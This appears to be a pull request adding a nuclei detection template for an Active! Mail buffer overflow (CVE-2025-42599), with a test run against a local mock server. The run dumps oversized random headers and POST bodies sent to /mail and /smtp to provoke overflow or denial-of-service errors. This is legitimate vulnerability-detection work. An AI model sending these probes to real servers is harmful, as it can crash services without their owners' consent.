feat: Implemented CVE-2025-42599 - Active! mail - Buffer Overflow

Template / PR Information

This PR adds a detection template for CVE-2025-42599 affecting Active! Mail Server versions ≤ 6.60.05008561. The vulnerability is a stack-based buffer overflow in the mail processing interface allowing remote unauthenticated attackers to execute arbitrary code or cause denial-of-service conditions.
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pranjal@PranjalLappyx:~/Desktop/nuclei-templates/activemail-docker-test$ nuclei -t ../http/cves/2025/CVE-2025-42599.YAML \
       -u http://localhost:9999/ \
       -debug -v \
       -debug-req -debug-resp \
       -include-tags dos \
       -o "docker_test_comprehensive_$(date +%Y%m%d_%H%M%S).txt"

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.7

                projectdiscovery.io

[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.7 (outdated)
[INF] Current nuclei-templates version: v10.2.8 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 114
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] [CVE-2025-42599] Dumped HTTP request for http://localhost:9999/

GET / HTTP/1.1
Host: localhost:9999
User-Agent: ywyTAtqZiLQoOIsRghgbSzBQBmevlhBFKJyybxQqesfBasrSPjnCAJLXjekvYWdROqAfllTeIdiCnHmknIRAQosifsgLgrfdaHLiyAeAYJCqqlEtxbNWKHfUMBvPtYKLilEptfdkJAzOurclvexmUDboTIDRFoLkXbzBEQoCONZVqyMoZdFWbALoKGlIwSoLHADCfemnoxLSeuYvOxNseRcSQjchsJazGFpZLEERlXktlqSKRDFXxMPeZkozRjrLtpUYPLzafmhmwmhYijezaKnejYBUDNIwPYKTuZOeCrstKFnAQafYzDjhAkiyaNTSAechiSQdDApzgwfNWDsPXCXvqYmuRaCINKZkwvZgsXhltKZtFPLFWhzXiWVPiEZwXUUSSFYBJmpRsuRKeqtMnAOUdDMGIBqGWzuGlzcrWItSpmCcLreltTKDQnGWKINdGCoaiXwvfYztiIEurbGUxWQTdoqACslctdhufNMcRGuSaTIqWSSUlaaiYYmQSLJDBNeMyCNhQSWjvfhaNdCXhKrrVyxTBYqeYLTmOlBSQiBgPhccsDAfVUTmYjEjaoqsVHYGGfVaEKejKcPSRxBNjcTBtkMSlUiTGAKVYGcANeBOpKtrZPITUDTyXZIZmRWSbzIbAKJqVTzjxVALUmBMQgEpKkkwlmQBdgSrwlUcxjAmGEgTUQHltxlSFhOdvhSrChPOSMMvnxrqIneBnDqbvNbJgKtVeIsmLuMCJKAOtTPvzrFfNVbjaHdmgSGNrfSzTygzMzRSQRCTsfTLvvcgAKLpzsXfUuzTLfRJXRFOmhRkTpBhgVuJOQziulKgFtWAxufCDlbJmLjEfhDNZcyjFVrulSAWHVQxkWUmHUdprqQOTYHehKvvUVBUCeeqmNkEbeopDCUqxEyyAvipmumfmHEqVUdwNqNcmuExJcIRXmXLxatvulThUfmjwplLQpPLBLBSuBsfCcbitZblfxZotIqrATPqZjUfwgDezbFC
Accept: */*
Connection: close
[INF] [CVE-2025-42599] Dumped HTTP request for http://localhost:9999/

POST / HTTP/1.1
Host: localhost:9999
Content-Type: application/x-www-form-urlencoded
Content-Length: 1001
Connection: close

gKewJtRuToNCpmPHLcozgSNkmvHOnOcTxuZKdHBDngDlaEzXoimMlMBqKSMlbfPgeoPiAzcGrptFWBhxrcKIPUCKZIvNmzZlwHJHrDyDuGASaprcoIeiZVoeapQQbldYIbJeFeIPGukevxBeamuJkKLiGplJrsHVXxeSNCmQcekblbIOAjjGySuConZHQIcUishblpwgyQzsOpfiLVRwoKBSnRCdWDXAkrxDkXWtjhWPaMDIxeOnFRZjZgSAGOErrvzeiuTjSwHsCCoeoVMNJQikIKpBqQDwpAGjPFAMrPGoNYtWAsiowATfIugGilgTofYusiOJOJvgzOTPudHAsiPcLVJIHjDrevcOYdlQrLNVtFFtRjoHKBKtBLCSkPwSYMslVnSocbnrTCCqqIIttNhZiBDsmaaIkFhZYYztIRVMkpIAIzgXXBRAPhQeUfcAuNDbVVuAYPQpomLszhSHagbBsbFiWOKaUmmjiSawYPRarTGnRDiNFNhthVjzFVbYcNmoUtIKqhdXBhToenREkrLbQigOVGdqqkLrFFGAwzKewvjpXjhwgeRAtBOQTTlFsiACcnYdLhjvGQSYdqlFzPLMAKoPCgOWvAesvDqhRbJabKgceUMRYhDTAehUzMSoaTQfAWKviWyJlrCMJbPfDtdkpCCmhkVFDSKSOHzvzWgcaTSzbdOKJDjWuqoRnGnOxdfaYdjZWPHjitOXpgfsYMMICRuMVArHkCGVOSEcWWvDiLqLnHJAmhXoLaVDZaNtoxZIHtYsLTrfGCVanIyJbDNIUBlQgiLVXdRQSMztvgPrPsHogWFWnoGpihGzqyvdQUVDZQhqEgcixXdWtthOSMrXPRMwRodoPkcDpYiwTwWHTGhPaimgGpWXEpbZyfQSDoNPVTvkpJuPsHMkgEDLAfpjLOLhuxZBkJQWQKvhWLVkcdiitEwYDHjjHhFCpKAwARRkoXdLVeTAbKTlUzVCGKnDGYmMqpVxbcPDouIu
[VER] [CVE-2025-42599] Sent HTTP request to http://localhost:9999/
[DBG] [CVE-2025-42599] Dumped HTTP response http://localhost:9999/

HTTP/1.1 405 METHOD NOT ALLOWED
Content-Length: 153
Access-Control-Allow-Origin: *
Allow: HEAD, GET, OPTIONS
Connection: close
Content-Type: text/html; charset=utf-8
Date: Tue, 02 Sep 2025 21:29:55 GMT
Server: Werkzeug/3.0.6 Python/3.8.10

<!doctype html>
<html lang=en>
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
[INF] [CVE-2025-42599] Dumped HTTP request for http://localhost:9999/

GET / HTTP/1.1
Host: localhost:9999
JDVQcaJkSQCONQEcscMzojxHVnlDYxfDXqyhBfXiYccDsBVFCtEEnDpJCwDZmFXLzSNeBkBPOdjuFibCuXKOXQuPVtkHJHhWjuefsgGROfUTcNLRctAynuoqnjCqSxWfMxVhbkedyRaRXLKexoPfKgqPYvivgTtEXPiKfJjqQGhPztDszzvBcDtBrJrUIwxRDeLUOjgIeFqpmoyjAGCacjkwpHzRoSkNvpTZuZkdKpRmLazNWoDVBrLsbEurbcMKqqSIrvdVnixQUdToFjxHnLPnIZEQeFTaCrjCGLxGnfVfBUSGfXbdqjXLdnsKHxaTvgxsLTnVxavAuvbQWOmwiaVMycGnfrCfIVjVntLVXYYcittgATXcWPgVnuIxmYrNHrQVeoBswMHCXNZKJPggByMCliOzWHQtkYJBzbPYMtPxefKCUsRSvoIWNAaRLxydRVNtjOJwQakHqpFxXZhOnYYZayoBXfFBjUxjhZMLlXqxqJvnkxZqjIffmoGUHjdDwryCxyiJoRZdvSNKNYiciPUmNJuNViIfwoXHQCnLjBXZkuoZEVYtvBclrxYSOyBjBYhkmzsJTcdzltCCiWqnECdgsIEUyImXCAiyGEjNlKeyNsPWpofuWWQCbHatldXIeCWrryXyakUkOghBVeMcZJiUSaBYTQPPbqsNWGAvaXSNSZdreiFjDDOMBazIaVqmGMEsCECIztUkXWEpUecqmzRWzNzppNHlKgiOJsZpQKhoHsxDdybgTzdvxzPjinGztzZfQfPdpbMNVZqYYoXawgxNnbXASwHc: brAwMhaxtQXwxXXiwmeMZMICHBAqOrjwuAqurXnvYTBdHcwEKVnyBWxKRMCxoRTAzaryHivIFeCukQQYfYaGOKvIXurHJhQvHRHVoDlFqTmgYKelYVqNIsqMRxBGTrzzTVqlrWrngQcAPzqbvclKvBNqceOvtsvyFUvKLqOMUIacCicMnfERICOPJrvFreepmiUYpHSN
Accept: */*
Connection: close
[INF] [CVE-2025-42599] Dumped HTTP request for http://localhost:9999/mail

POST /mail HTTP/1.1
Host: localhost:9999
Content-Type: application/x-www-form-urlencoded
Content-Length: 1200
Connection: close

SWPdhCMwroCmhCQdwmJXRsSWrNhnXFnTFNikCCQmpwTqBdKjzGlIkGYEiGXmdZZVNeuJRRaGalLNFPDUyYTVdQmsJWIrqGrduPeRwuNqwUOIFOwzLHuTPeXhlEDdyBFCqETqhiGcswEwcyJhQuBTdgGDDzJVluzUWhjeDgpawOWNUBYzVXhjnQpjVmwSBlXnmXmXOPQWwOWrxQpEiSptgZsDQjhNyPYwfdAYxkNjtObQCFHZTqrNkoUkRaArdiARTnhthzQBTLYgPijcWFklzyQLysUXdIbXEErCtoFaxKRTwlaBBICMkCbPCkEvBRLYgtgrBGVOfvItjyBFbQFFBhEHnqXpmLSYCJEkDVCiYGaSuAmGtxzhfZrWQEjUxsqEBoXrXZowLHwDcbxoSNXShBcPbqLXXUzXQdJvhPZgDNdAsunZiiRCPrhXlLHpACTGLQPNerrWZKamZpufZiCNGRlbIuEeJhwsEbxDnIHbOjUNsxVKsppgfoszKOLLtIlwOzSPvORDgwKQcjpiUQnPlPGVTBAyYCifXmBRcPmMBYhArEJhSoVvuhFXbSUiAEYjByFzzEPvjUJEhdQZBtdRYprCTOiYlvmVbnaEktfimtqhihDPfSuKkFcLgQfzcBxKSIAgfRqjeZAeFZbnJJdLiusjbCRhsTmLEugtkunUxfQZvFCvnyuTspUYSYvVidujFjxqtgIbTyuMKdQiSJNvBQDAGSUdKvhBYEzYWuCNHCtdqTsXTJRXgyzbXXlrUPLiYFGsKiHXEXtuFFbKDWqoKXYqUuPJTwmtpMMEkoTRlXYBNyXROOqQGvOpbSlaMBGPlAplYIspUPcrKhMzjSLPaCobhGCBqqgFsdmwfbvrcKZLeGSLhBHrgFIgbIRWXZzBVLrTkgBJGkyDkKRRdmTQxNCzakrNVojYjQzJwLgbZJUXjuFJAcSNsDQIdSRZEoYcXApwaCtiTdHhEOMOoYYBzhvvTgebsNDXJjgMYVziPIZQnywnzgQKVRGtNDFrcgdlFZVoUtVcEpIasXiNvssNFTUdiPvAmTZXZRWxIAMrNMPClZiFaJbVGwxqLvXExXOlITCJCEvgvUMukSIZKuMGsUOJUhJobHDJjWdSsZsXuenEqWLLFpsfSnuIKsMLxbvIPiXZjblJzHuKgkmPPcIVRyhWsqVtkWGMfITzdwvvGSxbfRZi
[VER] [CVE-2025-42599] Sent HTTP request to http://localhost:9999/mail
[DBG] [CVE-2025-42599] Dumped HTTP response http://localhost:9999/mail

HTTP/1.1 503 SERVICE UNAVAILABLE
Content-Length: 55
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/plain; charset=utf-8
Date: Tue, 02 Sep 2025 21:30:25 GMT
Server: Werkzeug/3.0.6 Python/3.8.10

Service Unavailable - Stack Overflow Error in POST Data
[CVE-2025-42599:status-1] [http] [critical] http://localhost:9999/mail
[INF] [CVE-2025-42599] Dumped HTTP request for http://localhost:9999/smtp

POST /smtp HTTP/1.1
Host: localhost:9999
Content-Type: text/plain
Content-Length: 1500
Connection: close

ncdFZwyVdtkuYJkXwjojnDZnDWZnrglgTYutMQadxANjVZADqPycrJgdOnqitvTiNTVbGdOPPmLYBAdrHYAQssvkHgjyhozRCptQlcsyQbCzeCGRaPiKOsVMkGZhbRrprKtlpzeiJQeVyTPMZaCkUbKVhnogGwROWVUpvsGDsNNyBrDmSMooTIvPivbBObYUYXvinXcAJhixkgVKDOEkuRRvGcRCICDkhQwUDFhlMdmRqZJhslOndPfUsJIZgeCqPXrmaFGkiPwDBgXWyofdDADSlkLYeAmKsuXnBDBJxzcEHFaOIFqNTsCxfbNdRmwXeHvUyjyjhTBopGyjrXwZtbNwmeCdnGbuubcsEbPHTsTjLSQetDaeAbFQDPoqNYayTkpgqUwAmZdskQxIQDHRzpmYwpbEzQGkTYCYjufecYPbiwYefcrZzlRMLEyZsSFyQPEpuGHeSLyvZtvsdZWgrlmTMMGsDFbMRPwHWqaRtILuSeOnetIhZkppUWNtWJADRSBrDuITsOGKcirOAaqqaalnFuCZvmKZdVmuzVmsluLUAMeeMQJJbalboqERRgZwWXrLLIjrNudRehFqHCAJhZDvbJfPdRgTHnBuEYTugFufJSGZhtIjThFlZhdNueSzzFPHpeFuHVAELvNNpKZUjALhxsiowlDflFYZxEYAcZthVneHqblddIsUAvLAaRtzGlKXJyiqFWhLusCnqmbyotzaDrIKxymCMokJSzvAPbcYKWwiMtTzGuhbkygbvtMRWUoSyHszzSnEZmyIogpZncFPZvwBPPJznQvCTOAsMOtwiubvbHpGSukhFGhWMaQertwBqTGzqKcSVjLqMqFVHEpTyfUIAfiTfMYmfFfdxUQUAfRdvkjyiXwBMeQaotLsUNXfeNQrKXsAdMCCiYrMqbwpjLznWGljJjYhAdFSnbSBMFNSDeHyUCgMhRstAzXpgEIKkOFnQNAmNglNjZEIxFjYWVIEWLixUxSPEhLTwfzexqtbkZugMJKvHUXZXMozkmkeEJQFcQDmbFYQJXlqLmZotlnPcsYySJYvsTugFigNWsKkmunuGPYuREBJELOMZSDsnHNpqPCoEEluzJQalkeIucQRylpwgKWoTEjEIBfIKOEsfScCCDBkHOcQfgpRThFgfrcxpnhzMMZqIEquPYMiTfsozdvvHvutaobEFdzeWCXQVMtlOKDxjPeclRtRfDZqydFPjXmgeLGAtBmVsRBSyfCyagzvZKELZrxcMNnhyYXzRUlTbWqvzdKQdVTeIeTaqhXkSBjLWGbOzLCWDyGFgEObGkcOZwbNOMQaWPoMftueJOHcjTkKJIIjoLgUXUrCVWGUMUzdexxJlBhRrmvAKbceMCxvhYpIbMjMZegOwVECGBrXMAefTWhQrrdnwEYpHueSdPBSaYcPZIoVjNaQCgGgyKXGAftAMhTamSGGFsklDpEbqgFMVKTljsDLExnLZbHNGVvCaltLwMkWAwRGeEQG
[VER] [CVE-2025-42599] Sent HTTP request to http://localhost:9999/smtp
[DBG] [CVE-2025-42599] Dumped HTTP response http://localhost:9999/smtp

HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Length: 41
Access-Control-Allow-Origin: *
Connection: close
Content-Type: text/plain; charset=utf-8
Date: Tue, 02 Sep 2025 21:30:25 GMT
Server: Werkzeug/3.0.6 Python/3.8.10

SMTP Error - Buffer Overflow in Mail Data
[CVE-2025-42599:status-1] [http] [critical] http://localhost:9999/smtp
[CVE-2025-42599:word-2] [http] [critical] http://localhost:9999/smtp
[INF] Scan completed in 1m. 3 matches found.
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